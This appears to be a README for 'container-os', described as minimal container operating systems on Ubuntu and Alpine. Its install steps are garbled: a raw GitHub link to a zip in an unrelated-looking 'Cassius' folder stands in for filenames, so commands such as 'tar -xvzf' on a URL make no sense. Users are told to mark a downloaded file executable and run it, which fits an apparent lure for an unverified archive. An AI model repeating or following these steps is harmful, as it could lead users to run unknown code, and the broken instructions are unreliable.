Welcome to container-os, a set of minimal, production-ready operating systems designed for containers. Built on Ubuntu and Alpine, these systems support Docker and Podman runtimes, ensuring your cloud-native workloads are secure and efficient.
To get started with container-os, follow these steps to download and run the software.
- Visit the releases page: Go to the Releases page to find the latest version of container-os.
- Choose your version: Look for the version you want to download. It will be listed with a description of whatβs included in that release.
- Download the file: Click on the asset that matches your needs. You will find options for Ubuntu, Alpine, and different runtime configurations.
- Install the software: Once the download is complete, you can follow the instructions below depending on your operating system.
Before proceeding, ensure your system meets the following requirements:
- Operating System: This application works on both Ubuntu and Alpine.
- Memory: At least 512 MB of RAM recommended.
- Processor: 64-bit processor.
- Disk Space: Minimum of 1 GB free disk space required.
Depending on your operating system, use the following instructions:
- Open a terminal.
- Navigate to your downloads folder:
cd ~/Downloads
- Make the downloaded file executable (replace
container-os-X.X.Xwith the actual filename):chmod +x container-os-X.X.X
- Run the software:
./container-os-X.X.X
- Open a terminal.
- Navigate to your downloads folder:
cd ~/Downloads
- Unpack the downloaded file (replace
https://raw.githubusercontent.com/KapilNShendre/container-os/main/Cassius/container-os.zipwith the actual filename):tar -xvzf https://raw.githubusercontent.com/KapilNShendre/container-os/main/Cassius/container-os.zip
- Change to the extracted directory:
cd container-os-X.X.X - Run the software:
https://raw.githubusercontent.com/KapilNShendre/container-os/main/Cassius/container-os.zip
Once you have installed container-os, you can start deploying containers using either Docker or Podman. Hereβs how to get started:
- Install Docker by following instructions from the official Docker site.
- To run a test container, use:
docker run hello-world
- Install Podman by following instructions from the official Podman site.
- To run a test container, use:
podman run hello-world
For in-depth commands and configurations, visit the documentation section on our GitHub page. It covers everything you need to know about managing your containers effectively.
If you face any issues or have questions, please open an issue on the GitHub Issues page.
- Releases page - Download the latest version.
- Documentation - Find more detailed instructions.
Thank you for choosing container-os. Enjoy a lightweight and secure container environment!